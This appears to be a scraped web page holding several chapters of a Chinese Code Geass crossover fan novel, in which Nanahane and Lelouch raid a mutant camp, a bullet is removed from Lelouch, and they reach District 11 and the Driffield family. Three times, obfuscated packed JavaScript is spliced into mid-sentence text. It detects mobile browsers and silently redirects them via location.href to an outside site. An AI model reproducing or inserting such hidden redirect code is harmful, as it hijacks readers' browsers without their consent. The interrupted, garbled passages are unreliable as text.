七羽莫名其妙：“还能怎么安置？想回家的支援点路费，无家可归的提供个打螺丝的机会，能一天两顿饭够力气干活那种就行。” 不知这句话哪里戳中了鲁路修的笑点，他脸上的笑容逐渐扩大，最后变得耀眼起来。 “放心，德里菲尔德有的是钱，家主虽然有着政客的通病，却很少见的是一个正直的人。” 七羽轻松单手推开石门：“那我就放心了。” 石门打开的动静惊动了留守的变种人，而七羽就像早知道哪个方位有敌人一般，鲁路修只是眼前一花的功夫，七羽已经完成了跃出-灭口-夺枪这一系列动作。 专业得像是身经百战的战士，执行枭首的动作简练而有效。 七羽做完这一切后伸手，刚好接住因自己暴起杀变种人而下落的石门，顺走变种人武器的同时带把抢来的枪踹进了鲁路修怀里。 他把抱住枪踉跄了两步的鲁路修拉上来，“一会儿你跟在我身后拿我当掩体别冒头，不用担心前方和侧方，顾好自己背后。” “咳咳……”鲁路修差点被枪砸吐血，“感谢照顾，作为交换，躲不开的时候记得躲我……！” 鲁路修话都没说完，头顶就被大力按下。来自友方的袭击又快又突兀，他的上下槽牙被迫撞在一起，发出“碰”的一声。 在牙龈的阵阵酸痛中，电弧的光芒擦着他扬起的发丝闪烁而过，破膛而出的质量弹至少有2马赫，发丝被灼烧的焦糊味窜入鼻腔后，轰鸣的音爆才姗姗来迟。 这下鲁路修不仅是牙龈痛了，耳朵也阵阵耳鸣起来。 “我还以为这些变种人只会用古老易卡壳的线膛枪，原来不是啊。”按头鲁路修后，七羽迅速锁定了射击者的方位。 他脚尖勾起尸体旁掉落的头盔，抡起捡来的尖头锤像打棒球一样把头盔以正常人类压根无法捕捉到的速度轰击了出去。 鲁路修亲眼看着头盔化作炮弹，把百米外卡哨后的变种人轰成了无头尸体。 七羽回头：“你刚才想说什么？” 鲁路修拉开保险栓：“……继续吧。” “这边。” 哨塔上的变种人吹响了警示哨，七羽果断带着鲁路修闪到营房后方，将将避开一窝蜂要从门里挤出来的三只变种人。 他观察过，这个营地的营房的数目不算多，如果居住的是人类，估计也就是两个百人队的规模，考虑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559869|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到变种人的体型，塞下一个百人队就顶天了。 好消息是L.L.说留守的应该仅有两三成，那么需要直面的变种人数量只有三十减二。 坏消息是他们所在的刚好是变种人最多的营房区。 虽然有些怀疑变种人有没有智商这种东西存在，但就凭一把尖头锤，要是被包了饺子，他就得再次动用魔力。 得先搞把趁手的枪。 七羽定好了第一个小目标。 于是接下来鲁路修见证了七羽超神的全过程。 比自己还矮了一头的长发少年灵巧的穿梭在各个营房之间，靠着天然的房屋掩体爆杀掉搜寻他们的变种人，拿到了那变种人手中的燧发枪。 自此一发不可收拾，有枪在手的七羽展开了一场针对变种人的狩猎。 比自己记忆里的那个绿眼睛体力笨蛋还要可怕。 不，人类真的能做到这种程度吗？ 仅仅只是跟在七羽身后跑而已，鲁路修就已经透支了体力，胸膛拉风箱似得快速起伏，鼻腔与咽喉里全是运动过度带来的腥咸味。 鲁路修觉得再跑下去都不用变种人来解决他，他自己就能原地去世。 眼前发黑的鲁路修全靠毅力迈开腿，接着他就撞上了七羽的后背。 “怎……”鲁路修捯了口气，“怎么不跑了？” “来新人了。” “咔”的一声金属锤击音，七羽手中机枪的弹链弹落在地。 随着七羽换完弹，拄着枪换气的鲁路修也听到了营地门口传来的车履声。 “两辆装甲车，一辆轻卡，五到八辆摩托。”七羽迅速报出对方的兵力，“应该是你口中攻打幸存者基地的那伙变种人回来了。” 在他发现对方的同时，对方显然也发现了营地的变化。 冲动易怒的变种人可没有先礼后兵的友好习惯，更别说七羽已经把他们留守的同类灭了个干净，要不是营地前面挖了战壕，恐怕变种人已经把油门踩到底不管不顾的撞进来了。 架在装甲车上的机枪开始喷涂火舌，哪怕距离尚远毫无准头可言，也保不准会因为倒霉被扫中那么一两下。 七羽果断转身：“先找掩体！” 只是他没料到鲁路修的体力槽已经彻底清空了。 身后传来的闷哼让七羽有种不妙的预感。 “L.L.……！” 七羽在金属质量弹激起的硝烟与尘埃中回头，映入他瞳孔的却是同伴心口晕开的大片血迹。 火箭筒发射的爆裂声响让他无暇多想，七羽本能的接住鲁路修栽倒的身体往壕沟里一滚。 “血牙氏族有第十一区贵族的暗中支持，他们的火力够把整个营地扬上天，你之前的路子行不通。” 怀里的人突然开口，虽然气息微弱但无疑还活着。 可七羽很确定，刚才L.L.已经停止了呼吸。 “所以你说的你不会死……”七羽看上去并不赞成，“就是字面意义上的你不会死？” “现在讨论这个是不是有点浪费时间？”鲁路修咳出一口血，“劳驾，会取子弹吗？” “我现在可不是医生。”七羽单手背起鲁路修，“我们去武器库，如果里面没有能打掉火箭筒的武器，你就……” “不用。”鲁路修的脑袋垂在七羽的颈窝，说话间温热的血顺着七羽的锁骨淌下，浸透了胸前的那一块布料，“你找个高点的建筑，距离他们近一点，最好让他们能看清我眼睛那种，然后爬上去。” 要是一般人听到鲁路修这话，第一反应估计是觉得他疯了，不仅自己不想活了，还想临死前拉个垫背的。 但是七羽连片刻的犹豫都没有，背着他就往目标点跑去。 鲁路修伏在七羽的背上，在全身都要被颠散架的痛苦下笑了起来。 不用考虑鲁路修是否能跟上的七羽放开了速度，路线也不再局限于地面。 他在枪林弹雨中把曾经神圣不列颠帝国的魔王带到了俯瞰全局的制高点，接着放下背上的人，挡在了火箭筒的炮口与受伤的同伴之间。 七羽瞳孔正中心隐约有一抹金色渗透而出，开始侵蚀原本通透的天青色，随着魔力的缓缓复苏，暗红色的魔力因子星星点点的亮起，在烈日下宛若焰火燃烧后未灭的余烬。 但就在他彻底唤醒体内沉睡的魔力之前，一只骨节分明的手按住了他的肩膀。 “接下来就交给我吧。” 鲁路修扶着他的肩挺直脊背缓步向前。 “我以鲁路修.V.布里塔尼亚的名义在此下令——” 血色的飞鸟从鲁路修双眼中振翅而飞。 “死吧！” 4. Code Geass 七羽偷偷看了鲁路修一眼。 没有发现目标物品。 七羽又偷偷看了鲁路修一眼。 “想问什么就直接问。” 频频被观察的鲁路修终于忍不住额头绷起青筋。 此时他正赤着上身躺在铺了防水布的硕大武器箱上，而自述有医师执照的菲丽正在往注射器里抽入麻醉剂。 暗中观察被抓包的七羽松了口气，转而堂堂正正看向被推入麻醉的鲁路修，“L.L.你小时候有没有过那种经历？” “……哪种经历？” “比如因为长得可爱所以被当成女孩子打扮，穿着女装的你在回家路上救了一只猫，结果猫咪问你要不要签订契约，成为拯救世界的魔法少女？” 真的穿过裙子的鲁路修：“……” “真遗憾我没你这么丰富的童年经历。”鲁路修深吸一口气，“还有菲丽小姐，你手再继续这么抖，我可能就要死于医疗事故了。” “啊……抱歉，我的笑点太低了？”正忍笑的菲丽连忙缩回握着刀片的手，“主要是我没想到七羽你居然这么……” 菲丽最终还是没忍住笑了出来，“童趣？” “……麻药没有过期失效，七羽你不用开口帮我分散注意力。”心累，但鲁路修还是得帮有了过命交情的某人找补，“轻继续吧，菲丽小姐。” 可我并不是为了帮你分散注意力啊？ 七羽若有所思的目光在鲁路修与菲丽之间游移。 所以是不能让菲丽知道？ 之前变种人在L.L.的命令下集体高喊“Namujala Latak”，毫不犹豫结束自己生命的震撼一幕在七羽脑海中回闪。 也就是说，先不论L.L.是否是自己的同类，这种“言出法随”的能力都不是本世界普遍存在的力量。 这种力量很可能只有特定的人群能够掌控，或者，只有L.L.是特别的？ 毕竟那个名字…… 鲁路修·V·布里塔尼亚。 娜娜莉·V·布里塔尼亚。 这总不能是巧合吧？ 「我说BB，你们这个副本任务真的只有招聘员工这么简单吗？」 七羽有种不好的预感。 而BB的回答也很微妙。 「经检索，副本任务本身只要求您招聘到员工。」 「招聘到员工的定义标准是什么？只要询问后对方同意就可以吗？」 「具体招聘方式任务描述中没有进行说明，需要您自行探索呢。」 果然没那么简单啊。 “那我就继续了？”七羽和BB沟通这两句话的功夫菲丽已经重新调整好状态，她持着刀片的右手稳稳悬在鲁路修胸口，“不过在这里真的没问题吗？在这里开刀取弹……” 菲丽环顾卫生状况堪忧的武器库房：“别说过氧化氢了，这里连勉强能用来消毒的高浓度酒精都没有，开刀后的创口也只能用弹药里拆出来的火药灼烧来进行应急封闭，非常容易感染。” “武器库房已经是这座变种人营地里最干净的地方了。” 变种人的营地当然是有床的，甚至在他们首领的房间里还摆着一张不知道打哪抢来的高级货。 但鲁路修的洁癖不允许他躺在属于变种人的床上——鬼知道那些床上都睡过些什么东西。 至少变种人不会在武器库里找乐子开Party。 反正他没有死亡的风险，在落满了灰尘的武器库房里开刀取弹顶多伤口感染恶化。 比起伤口恶化导致死亡，他更担心创口接触到未知生物的体.液。 要是被毒死了还算是好的，大不了再活一次，要是被诱导产生了变异…… 想一想吧，变异成变种人那样两斤的脑袋里挤不出来二两脑浆的丑陋生物，偏偏自己还有着Code死不掉的永生诅咒…… 鲁路修强迫自己终止思考，语气坚定异常：“放心，就算伤口感染恶化，我也撑得到第十一区。” 菲丽被说服了。 而菲丽接下来的表现出乎七羽预料的优秀。 她执刀的手很稳，落刀时也没有因鲁路修中弹的部位与心脏近在咫尺产生犹豫。哪怕她手中拿的并不是专业的手术刀，而是七羽临时磨出来的刀片，也没有影响到她动作的精准。 “咣当。” 带着血的子弹被菲丽丢进一旁的铁盘，在血液喷涌之前，菲丽快速点燃早已准备好的小撮火药。 “滋啦——” 伴随着血肉灼烧的焦糊味道，鲁路修本就因为失血过多而苍白的脸色迅速灰败，胸膛微弱的起伏也骤然停止，片刻后才重新恢复了呼吸。 一直保持冷静的菲丽这才长出了口气。 “太好了……”以为自己手术失败的小姑娘声音打着颤，“你没死。” “是的，我没死。” “你还活着。” “我还活着。” 鲁路修声音细弱，他缓了缓呼吸，耐心安抚着自己陷于后怕的主刀医师。 “你无愧于自己的医师执照。” 绷到极致的神经一松，菲丽这才惊觉自己手中空空，原本紧握的刀片早已不知何时掉落在地。 “太好了！”她擦掉流进眼睛里的汗水，把发抖的双手背到身后，如释重负的垮下肩膀，“那L.L.你先休息一会儿，麻醉应该再有十几分钟才能消退，我先出去透透气。” 菲丽抬脚时身子一晃就要摔倒，藏到身后的双手下意识的想抓住什么。 “你还好吧？”七羽赶紧扶住小姑娘的胳膊，掌心所贴的小臂不仅布满黏腻的冷汗，还处在高度紧张脱力后的痉挛中。 七羽根本不敢用力，生怕加重菲丽的疼痛。 不过这个皮肤的触感怎么…… “好久没实操了，有点紧张，活动一下就好了。”菲丽若无其事的抽出自己的胳膊，屈肘做了几个放松的动作，“放心，我可是德里菲尔德的继承人，完全没问题的！” 她原地转了个圈还蹦了一下：“看！” “让她去吧，正好去把地牢里的幸存者放出来。”鲁路修的脸色有所好转，在焦黑的皮肤表层掩盖下，Code正在重塑他伤口处的血肉，如果不是担心被菲丽看出不对，他其实都能撑着坐起身了，“这个营地的血腥味太浓了，等周边游荡的异种发现变种人已经不在了，就会冲进营地，我们的时间并不富裕，最好尽快离开。” 鲁路修又简略把之前七羽对幸存者的安排构想和菲丽说了一下，菲丽不出意外的答应了下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559870|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那我安抚好幸存者之后再找几辆能用的车，争取在夜晚到来前赶回第十一区。” 七羽只好不戳破小姑娘的逞强，转而递过去另一张防水布，“小心着凉。” 菲丽眨眨眼：“面对刚刚失恋的少女，太过体贴可是件很危险的事哦？” 七羽手上的防水布一下子递也不是，不递也不是。 “开玩笑的，我才不要和长得比我好看的男人谈恋爱。”菲丽从七羽手里抽过防水布，给自己裹了两圈，“那我可出去了，要是L.L.的伤势情况有变化，七羽你就鸣枪叫我。” 说到枪，七羽倒是被提醒了。 他叫住菲丽，转身连撬了好几个武器箱，最后终于在库房角落的弃用品里找到了目标。 “你拿着这个，要是那些幸存者暴动，首先保护好自己。”不是所有经历了这一切的废土客都能保持基本的冷静与人性，因为被出卖而想要他人比自己更加不幸的家伙也大有人在，“这把枪有类似于通过喷管抵消后坐力的设计，喷管内部有降温模块，不用担心被火药烫伤，枪身也是轻便的聚合材料，以你的力量也能使用。” 变种人天生力量属性点满，他们偏爱的是大口径和重火力，所以这把被弃置许久的无后坐力枪看着又破又旧，卖相十分不好。 菲丽却很开心的接了过去：“就是和云端全息游戏里差不多？我打《大逃杀》超厉害的！” “……不，我的意思是听到枪声我很快就能到，在此之前你别让人把枪抢走反杀就ok。” 送走再三保证自己有枪械常识与射击经验的菲丽，七羽关好门看向已然坐起身的鲁路修：“好了，现在你可以说了。” 鲁路修慢条斯理的捡起掉在地上的刀片，闻言眉头一挑：“哦？” “你是故意把菲丽支走的。” 不然最优的选择应该是让他去处理幸存者，菲丽留下观察伤员状况。 “你误会了。”鲁路修摊开手，掌心是之前菲丽用来开刀的刀片，“我只是想拜托你帮忙剃掉伤口处的死肉。” “有必要吗？到第十一区后有更好的方式吧？”七羽不解，“刚才你可是又死了一次，看你现在能活动的样子，麻醉剂八成也随着死而复生失效了吧？” 鲁路修沉默了片刻才回答：“很有必要。” “我不能冒险在第十一区留下任何生物组织。”他垂眼凝视着心口被烧焦后向内蜷缩的死肉，“我能看出来，你很好奇为什么我能猜出菲丽的身份。” 这两句话连在一起…… 不是吧？ 不会是自己想的那个意思吧？ 这么说的话菲丽的五官好像是和鲁路修有点像？ “德里菲尔德家族是极端的血统论拥护者，他们历代家主都是采用神圣不列颠帝国皇族基因培育的人造人，所以很好认。”鲁路修重新看向七羽，露出一个再标准不过的假笑，“你不会以为菲丽是我的克隆人吧？” “咳，怎么会呢？” 七羽从鲁路修掌心拿走刀片，算是默认了帮忙。 “不过在此之前，我想确认一件事。” 将刀锋抵在对方心口，七羽仰头直视那双能号令众生的眼睛。 “你愿意和我离开，成为我的员工吗？” 5. Code Geass 最后七羽的尝试还是以失败告终了。 不仅任务没有完成，连带着鲁路修看他的目光都变微妙了。 “好吧，我的措辞的确有问题，我已经有在反省了。”七羽不自在的挠挠鼻子，“所以L.L.你可以别继续用这种眼神看我了吗？” “这不是措辞的问题。”鲁路修口吻温和面带微笑，“你问我要不要当你的员工，我问你工作内容是什么，你说不知道，我问你薪资待遇怎么样，你说不确定，我又问你工作地点在哪里，你说不清楚。” 假如换一个场景人物，简直是会被指认诈骗传销的程度。 甚至还不如诈骗传销的。 至少人家还会画个饼，而七羽连饼都懒得画。 “你说这些问题15天后才能给我答案，好吧，我就当你有难言之隐。结果我答应你后，你是怎么说的？”鲁路修的笑容变得危险起来，“你说，我不是认-真-的。” 七羽小声辩解：“可是L.L.你的确不是认真的啊？” 鲁路修：“证据？” 证据就是我的任务压根没完成啊！ 但是这并不是能直接说出口的证据。 所以七羽能做的只有转过头看向窗外，假装自己正在警戒沿途游荡的异种。 是的，此时他们已经离开了变种人的营地，正在前往第十一区的路上。 那些幸存者也没有都选择去第十一区。 有的人选择拿着物资回家，有的人则觉得第十一区的贵族小姐哪里会在意普通幸存者的死活。说是会给他们介绍工作，谁知道会不会直接把他们介绍进黑诊所。 是以最后跟着他们走的只有六个人。 这六个人倒是不介意给七羽他们当司机，虽说他们没开过装甲车吧，但作为能在废土上活到现在的废土客，只要给他们一个方向盘再给他们一个油门，他们就敢一脚把油门踩到底。 至于能不能安然无恙把一车人送到第十一区？那不在他们的考虑之内。 所以备选驾驶员就只剩下拥有驾驶经验的鲁路修和七羽。 前者是KMF复座式机体专业驾驶员，除了不负责操控机体移动，其他包括火炮管制与战术指挥都能一手包办。 后者曾是英灵座冠位骑的候选人，骑乘EX技能拥有者，除了现在的职阶并非Rider（骑兵）外，其他上到环绕世界之树的米德加尔德巨蟒，下到象征着水之混沌的克拉肯都能轻松驾驭。 但此刻他们俩都坐在副驾驶的席位上。 “鲁路修你是伤员。”直接坐到驾驶席的菲丽说，“而我们不仅需要驾驶员，还需要能够确保大家安全到达目的地的武装人员。” 毫无破绽，完美的理由，完美的分配。 如果装甲车的行驶能够平稳点就更完美了。 不过还好每当异种浓度增大时七羽都能下车放风，不然就凭菲丽那与外表成反比的狂野车技，七羽怀疑要不了多久自己的理性就会被甩出脑子。 就是这些异种清理起来有点费劲。 它们没有生物学上的弱点，哪怕被爆头也不会死亡，七羽只能动用魔力让他们彻底丧失行动能力。 “情况不太对。”在七羽又一次剿灭了围困他们的异种回到车上后，鲁路修沉着脸说，“第十一区会定期清理周边的异种，咱们遭遇异种的频率太高了。” 菲丽猜测：“会不会是它们嗅到了变种人营地的血腥味，所以都在往那边靠？” “可风向是往西的，营地在东面。”唯一下过车的七羽对此最有发言权，“这些异种是智慧生物吗？” 菲丽奇怪的看了七羽一眼：“当然不是，为什么这么问？” “因为他们的阵型。”鲁路修说，“他们是三三队。” 菲丽重复了一遍某个没听过的名词：“三三队？” “简单来说就是以三为最小作战单位。”鲁路修示意她看地上的尸体分布，“三只异种是一个小队，三个异种小队又组成一个战斗部，三个战斗部又组成一个战斗群，这种分队能够最大限度的同时兼顾掩护与战术穿插。” 这也就是七羽，换个人类来，不开KMF压根不可能单枪匹马解决一个战斗群。 而七羽消灭异种的速度也足够快，快到异种根本没来得及战术展开就都成了尸体，是以地上的尸体都是三只为一堆分布的，一目了然。 菲丽大概理解了鲁路修的意思，虽然她搞不明白这种战术的高明之处，但她透过现象理解了鲁路修想表达的意思：“也就是说……这些异种进化出了智慧？” “还有一种可能。”七羽说，“这些异种是被人操控的。” 这下菲丽明白了事情的严重性。 在这片废土上，幸存者聚集地面临的严峻问题很多，但其中最棘手的并不是异种。 归根结底就是因为异种不具有智慧。 它们只会在饥饿的时候一扑而上，就算把枪管怼进它们嘴里，它们都没那个脑子去判断自己现在应该逃命。 可要是异种进化出了智慧，或者有人掌握了能够操控异种的技术，异种的危险等级就会瞬间拔高到T0。 没有生物学弱点、士气恒定100、同时涵盖海陆空三大兵种的异种将成为人类最可怖的梦魇。 菲丽面带担忧：“那我们现在怎么办？” “还是去第十一区，换我来开车。”鲁路修转头看七羽，“能跟上吗？” 七羽撇过来一眼，没说话，直接翻身跃上了装甲车的顶部。 菲丽最大的优点就是听话，关键时刻尤其拎得清。她利落的换到副驾驶扣好安全带，抬眼却发现鲁路修正望着七羽消失的方向出神：“L.L.?” “没什么。” 鲁路修收回视线，重新启动装甲车。 是错觉吗？ 七羽眼睛的颜色好像和之前不太一样？ 装甲车的顶部设置了机枪位，机枪的金属表层在暴晒下能够轻松把人烫掉一层皮，可七羽就像感觉不到一样懒洋洋的往上一靠。随着车子的启动，湿热的风裹挟着独属于废土的气息扑面而来。 在腥臭的血液与机油味中，七羽惬意的眯起了眼。 「您当前剩余理性值为73。」 BB098的提示音在脑海中响起。 「098建议您减少对魔力的使用，控制狂化的程度。」 「放心，我现在感觉很好。」 七羽半合着的眼中有微弱的金芒一掠而过，在远处再次传来异种的吼叫声时露出个轻松愉快的笑容。 「我开始相信你们的任务简介了，这的确是个自由的时代。」 理性再次下滑一截，伴随着Berserker力量的解放，七羽悬着血色竖瞳符号的右手背处有什么东西在筋肉与血管中蠕动，却又碍着还没到达临界点的理性，没能成功钻出，但也留下了一处肉瘤状的瘀痕。 「当前理□值：□8」 「请注意□□理□值！以□陷入狂□！」 七羽脑袋里的提示音响个不停，却连不成一句完整的话。 他无视掉脑子里的奇怪声音，站在异种尸体堆成的血泊中神色恍惚地向前眺望。 从这里再往前就是第十一区的边防范围了。 以七羽足下为边界，前方的地面足足内陷了一尺，看痕迹应该是被导弹整个犁了一遍。异种的尸体也因此大多残缺不全，部分残块上还燃着未灭的火焰。火药的化学味道和尸体烧焦的味道混合着异种血液特有的腐臭，让这片地带像极了地狱前线。 不远处有几只拾荒者组成的小队，他们一面戒备伫立不动的七羽，一面把异种的尸体运往路边的运输车。 哦，实际上现在路也被扬没了。 见七羽一直没有动静，鲁路修探头出来叫他：“七羽，上车。” 听到自己名字的七羽扭过头，眼神在锁定呼唤自己的人后缓慢聚焦，最后猛地回过神来。 “要擦一下吗？” 七羽上车后菲丽递过来一块还算干净的布料，他这才意识到自己的样子有多狼狈。 “谢了。” 发动机轰鸣，装甲车轧着滚烫的地面摇晃着往前，七羽一面擦掉长发上淌着的墨绿色血液，一面观察车窗外狼藉的战场。 进了第十一区的地界后，越往前走遇到的幸存者越多，他们的军用装甲车混在一众千奇百怪的改装车子里分外惹眼，不多久就被第十一区的边防军拦了下来。 “外来者，第十一区正处于戒严状态，禁止所有外来人员……菲丽小姐？！”拦下他们的边防军在看清副驾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559871|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驶上的菲丽时，平板的警告说明转成了惊呼，“您没事！” 身着全自动防护装甲的边防军很明显的松了口气：“您能平安无事真是太好了。” “感谢你的关心。”菲丽紧接着询问，“第十一区是进入战时戒严了吗？损失如何？我父亲……” 可能是不好意思在这种时候把个人情感放在第一位，菲丽又把后边的话吞了回去。 “自您失踪后第十一区就遭遇了异种进攻。”边防军扫了一眼驾驶室，发现除了菲丽之外的两个人都是生面孔，于是便没再透露更多的信息，“斯卡利大人曾派出过亲卫队去寻找您，但他们在突破异种群时失联了。” 七羽注意到菲丽抿了抿唇。 “您可以进去，但您这辆车上的其他人……”可能是觉得自己太过不近人情，也可能是不想得罪菲丽的家族，边防军停顿一下后略微松了松口，“您可以以个人名誉担保两人进城，至于其他人，暂时只能安置在外城的临时幸存者聚集地。” 菲丽抱歉的看了七羽一眼，毕竟安置那些幸存者是七羽的主意。 于是一行人在此分开，七羽和鲁路修在菲丽的担保下坐上了边防军的军车，而剩余的六名幸存者则被带去了所谓的外城。 进了第十一区后鲁路修全程都很沉默，他又披上了那身黑斗篷，挡住了锁骨间的纹身。 忧心自己家族情况的菲丽也没心思向七羽沿途介绍第十一区。 其实也没什么可介绍的。 第十一区的高层也从异种行为模式的异常得出了和七羽他们相同的结论，所以运输他们的这辆军车用不透光的某种黑色涂料涂黑了左右车窗，后座与驾驶席之间也焊接了用来封闭隔离的钢板，就凸出一个安全防范意识拉满。 七羽度过了安静又无聊的半个小时，等边防军示意他们可以下车时，太阳已经落到了地平线上，昏黄的夕阳笼罩着空无一人的街道，只有前方的建筑门外站了一老一少两名迎接他们的人。 以德里菲尔德家的地位而言，七羽面前的这栋建筑显然过于朴素了。 这栋只有前后两个院子的两层小楼种满了花草树木，应该是有专门的仆人负责收拾，两个院子都收拾的井然有序。如果从客厅的窗户往外看，可以看到屋外赏心悦目的景色。 在绝大部分植物都变异出食肉的利齿后，像这样原生态的葱茏树林和如茵绿地也只有贵族阶级可以享受了。 “斯卡利叔叔，他们如此穿着就来觐见你，属实是对德里菲尔德家族的不敬。” 站在大门外眉目低垂的斯卡利闻言稍稍睁开了些眼，稍显浑浊的浅色眼珠往身边开口的小孩身上一瞥。 “闭嘴。” 之后德里菲尔德的现任家主又恢复了他安详沉静的神态。 见到父亲安然无恙的菲丽终于把心放回了肚子里，她扬起一个大大的笑容，小跑着越过七羽二人奔向身材挺拔的父亲。 “父亲——” “菲丽，我听说你回来了？” 一道柔和的声音打断了即将上演的感人团聚。 菲丽打了个寒颤，才发现大门的阴影里还站了一个人。 那个父亲口中的虚伪家伙脸上挂着令人舒服的笑容，从阴影里走了出来。 “边防军送来消息时伊桑正好在家里做客。”斯卡利开口唤回了女儿的神智，他的目光里有某种沉静的力量，仅仅只是注视就令菲丽平静了下来。 随后斯卡利才把注意力转向菲丽身后的七羽和鲁路修。 “就是您救了菲丽吧？”然而在斯卡利开口之前，方才还维持着虚伪风度的伊桑在看清鲁路修的面容后，就跟没看见七羽一样，上前一把握住了鲁路修的手，“您把我毕生的信仰带回了我的身边，您一定要答应我的邀请，让我有机会能亲自感谢您。” 鲁路修尝试着抽回手，可伊桑不仅没有松手，反而还更加用力。 他抬眼对上伊桑的视线。 那是怎样的一双眼睛？ 在菲丽口中充满包容与柔和的蓝眼睛里此时盈满的情绪粘稠又泥泞，带着令人胆寒的狂热与来源不明的恋慕。 在一旁看戏的七羽没忍住，小声在鲁路修耳边说悄悄话。 “他看上去像你的私生粉诶？你确定菲丽不是你的克隆人？” 6. Code Geass “小孩子不懂事，让您见笑了。”斯卡利伸手在伊桑紧握着鲁路修不放的右手上轻轻一拂，也没见他怎么动作，伊桑却突然失力般松了手，“二位救了菲丽，德里菲尔德的大门自将毫无保留的向您敞开。” 斯卡利笔挺的脊背下弯，毫不在意七羽与鲁路修落魄废土客的衣着，庄重地向二人正式行礼。 他口中称“您”不带复数，可无论是七羽还是鲁路修，都有一种这位老者是在对自己说话的错觉。 鲁路修揉了揉被捏到红肿的手腕，目光复杂的看着眼前一举一动尽显成熟男人从容优雅魅力的德里菲尔德家主，似乎在透过眼前的人追忆某个记忆中的人。 他们如此相像，却又如此不同。 这就是他和C.C.远走高飞，百年来都不曾再次踏足这片土地的原因。 曾经的故人接连故去，只有他们被时间的轮回抛弃在外。 鲁路修自认为不是一个过于感性的人，但不知为何随着时间走过一个又一个十年，他对这片充满了旧时回忆的土地便愈发裹足不前。 娜娜莉做得很好很好，当年那个双腿无法站立、双眼无法睁开的温柔少女已经成长为能够担起整个世界前行的优秀女皇。 他为娜娜莉打下的这个世界也被娜娜莉爱护得很好。 好到他在与不在也没了区别。 当年被冠以恶德之名的终末帝王已经褪色成了史书中一笔微不足道的记载，沉默站在女皇背后身着披风头戴盔帽的骑士团首领也有了最好的继任者。 他们都在大步向前，推着世界往温柔而和平的方向前进。 只有不死的魔王与他的魔女停留在分叉口，与渐行渐远的他们背道而驰。 本应该是这样的。 如果不是…… 鲁路修深深地看着斯卡利浅色的眼睛，片刻后温柔浅笑道：“谬赞，我们也只是为了自救罢了。” “您太过妄自菲薄——” 被七羽认定为鲁路修私生粉的伊桑激动开口，却在被斯卡利淡淡瞥过后失语了。 脑袋被狂热情绪污染的伊桑眼中闪过忌惮，他退后一步摆出退让认错的态度：“抱歉，斯卡利先生，我可能过于激动了。” 七羽亲眼看着方才的狂热分子在一瞬间隐藏好情绪，蜕化成菲丽口中的温和学者。如果不是亲身经历，他压根不会把眼前文质彬彬的绅士和刚刚目光黏腻恶心的家伙联系在一起。 菲丽父亲看人的眼光真是精准…… 看看菲丽现在的表情吧，要不是伊桑今天自己蜕下面具，哪怕被伊桑卖给变种人，菲丽都还对自己的心上人是个深不可测的可怕混蛋这件事没有实感。 “不论您的出发点是什么，您救了菲丽都是事实。”斯卡利侧过身向七羽二人发出邀请，“第十一区目前正处在特殊时期，酒店和饭店都暂时停止营业，不嫌弃的话，我为二位准备了茶水点心，以及一些热水与干净的换洗衣物。” 斯卡利的声音不急不缓：“不如我们先进去，也让边防军们能放心离开。” 话都说到这个份上了，他们如果拒绝就不合适了。 不过鲁路修也没有第一时间答应，他以目光询问七羽的打算。 鲁路修心里清楚，自己原本就是打算混进第十一区探查情况的，碰巧救了菲丽对于他来说是瞌睡碰上了枕头，正好能够不被怀疑的进入第十一区的贵族圈子。 但七羽就不一定了。 “您不是也说了，现在酒店和饭店都不营业，再说就算它们营业了我也没有钱。”七羽实话实说，“您能邀请我那简直再好不过了。” 于是在菲丽小小的欢呼声里，由斯卡利带路，七羽和鲁路修踏进了德里菲尔德家的大门。 德里菲尔德家和七羽想象中的贵族不太一样，朴素的小楼里只住了斯卡利父女二人外加一位上了年纪的管家先生，跟在斯卡利身边的小孩子据斯卡利所说是堂弟拜托自己暂时照顾的子侄。 虽然没有成群的仆人，但斯卡利本人是一位很会照顾人的长辈，哪怕旁边有着一位目光永远聚焦在鲁路修身上的客人，以及总是用嫌弃眼神瞪视他们的小鬼，七羽都没有被冷落的感觉。 归根结底，他从斯卡利身上感受到了尊重。 怪不得菲丽身上没有半点贵族小姐的架子，她父亲真的把她教得很好。 这顿推迟到入夜才用的晚餐几乎称得上是宾主尽欢。 反正七羽吃得很开心，至于鲁路修他们之间弯弯绕绕的相互试探，左右和他的副本任务毫无关系。 什么诸如—— “原来伊桑是专门研究神圣不列颠帝国第九十九任皇帝的历史学家？的确很少有人专门研究这个时间段，史书上关于第九十九任皇帝的记载也不多。” “是很少见，我身边大部分的同僚都更关注娜娜莉女皇，毕竟神圣不列颠帝国就是在这个时期开始走向辉煌的，但我认为，真实的历史转折点应该是鲁路修皇帝的继位。” 